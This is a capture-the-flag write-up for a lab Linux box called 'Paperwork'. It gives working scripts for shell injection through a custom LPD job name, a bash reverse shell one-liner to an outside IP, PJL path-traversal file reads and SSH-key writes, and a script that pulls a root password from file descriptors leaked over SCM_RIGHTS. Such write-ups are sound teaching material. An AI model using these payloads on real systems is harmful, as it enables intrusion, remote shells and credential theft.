Paperwork
Summary
Paperwork is an easy Linux box built on an unsanitized print daemon and a root service that leaks its own file descriptors. A custom LPD server (port 1515) pipes the print job name straight into a shell command, giving command injection as lp. The internal PJL printer on port 9100 has a path traversal in FSUPLOAD/FSDOWNLOAD, which we use to read the user flag and plant an SSH key. Finally, a root paperwork-daemon on a Unix socket sends its admin config fd over SCM_RIGHTS during lockdown - triggered by our PJL logging - leaking the root password.
Skills Required
- Reading Python source for injection sinks
- Understanding LPD (printer) protocol framing
- Path traversal fundamentals
Skills Learned
- Exploiting shell injection via LPD job name
- PJL
FSUPLOAD/FSDOWNLOADfilesystem traversal (HackTricks) - Leaking open file descriptors via
SCM_RIGHTSancillary data
Enumeration
The scan shows an intranet site and a weird open service on 1515.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Ubuntu 5ubuntu5.4 80/tcp open http nginx 1.28.0 (Ubuntu) 1515/tcp open ifor-protocol? | TerminalServer: Archive_Printer is ready and printing.
The web page hosts a zip containing the source of the service on 1515 - a custom LPD server. It parses a queue name, then takes the print job's J (job name) line and builds a shell command with it.
Foothold
LPD shell injection
The vulnerable line:
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
The job name is interpolated straight into shell=True with no sanitization. A small script drives the LPD handshake: select the queue, announce a control file with J + injected command, send it, then announce a dummy data file.
#!/usr/bin/env python3
import socket
import sys
host, port, queue, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]
job_name = f"x'; bash -c '{cmd}'; echo '"
control_file = f"J{job_name}\n".encode()
data_file = b"x\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"\x02" + queue.encode() + b"\n")
s.recv(1)
s.send(f"\x02{len(control_file)} cfA001x\n".encode())
s.recv(1)
s.send(control_file + b"\x00")
s.recv(1)
s.send(f"\x03{len(data_file)} dfA001x\n".encode())
s.recv(1)
s.send(data_file + b"\x00")
s.recv(1)
s.close()
python simplified.py paperwork.htb 1515 archive_intake \ "bash -i >& /dev/tcp/[IP]/1337 0>&1"
Reverse shell as lp.
User Flag
PJL filesystem traversal
Port 9100 is listening on loopback - the PJL printer interface (see HackTricks). It supports FSUPLOAD to read files, and the path handling trusts ../../ traversal from the print spool root.
python3 -c "
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',9100))
s.send(b'@PJL FSUPLOAD NAME=\"../../../../home/archivist/user.txt\"\n')
data=s.recv(4096)
print(data.decode(errors='ignore'))
s.close()
"
Reads the user flag. Pulling the daemon source confirms the traversal - the Filesystem._translate() normalizes os.path.join(root, path) with no escape check.
Privilege Escalation
Planting an SSH key via FSDOWNLOAD
FSDOWNLOAD writes files (again traversable). Two gotchas: the regex requires NAME before SIZE, so the command order matters.
@PJL FSDOWNLOAD NAME="../../../../home/archivist/.ssh/authorized_keys" SIZE=<n> <pubkey bytes>
python3 -c "import socket; pubkey=open('/tmp/htb_key.pub','rb').read(); \
payload=b'@PJL FSDOWNLOAD NAME=\"../../../../home/archivist/.ssh/authorized_keys\" SIZE='+ \
str(len(pubkey)).encode()+b'\n'+pubkey; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
s.connect(('127.0.0.1',9100)); s.send(payload); print(s.recv(4096).decode(errors='ignore')); \
s.close()"
SSH in as archivist.
ssh -i /tmp/htb_key archivist@paperwork.htb
The root daemon leaks its fds
A process owned by root is running the management daemon.
ps aux root /usr/bin/python3 /usr/bin/paperwork-daemon
The daemon listens on a Unix socket /run/paperwork/mgmt.sock. When it detects "malice" (an FSQUERY/FSUPLOAD/FSDOWNLOAD in the PJL command log), it goes into lockdown and passes the log fd and the admin config fd back to the client over SCM_RIGHTS.
First, force a log write with an inert FSQUERY so the trigger is on disk when we connect:
python3 -c"import socket; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \
s.connect(('127.0.0.1',9100)); s.send(b'@PJL FSQUERY NAME=\"../../../../tmp/\"\n'); \
print(s.recv(4096).decode(errors='ignore')); s.close()"
Then connect to the daemon socket and pull the passed file descriptors out of the ancillary data:
import socket
import array
import os
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/run/paperwork/mgmt.sock')
msg, ancdata, flags, addr = s.recvmsg(1024, socket.CMSG_LEN(8))
print(f"Message: {msg.decode()}")
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds = array.array("i", cmsg_data)
print(f"Received FDs: {list(fds)}")
if len(fds) > 1:
admin_data = os.pread(fds[1], 1024, 0).decode().strip()
print(f"\nAdmin config:\n{admin_data}")
s.close()
The leaked ADMIN_PASSWORD= line is the root password.
su root
Key Takeaways
- Read the source you're handed - the LPD daemon's
shell=Truesink and the PJL traversal were both plain in the provided code. - Printers are file servers - PJL
FSUPLOAD/FSDOWNLOADgive arbitrary read/write when path traversal isn't filtered. - Watch command-argument order - the
FSDOWNLOADregex wantedNAMEbeforeSIZE; a mismatched order fails silently. SCM_RIGHTSleaks are real - a root daemon sending its own open fds to a client gives away the admin config.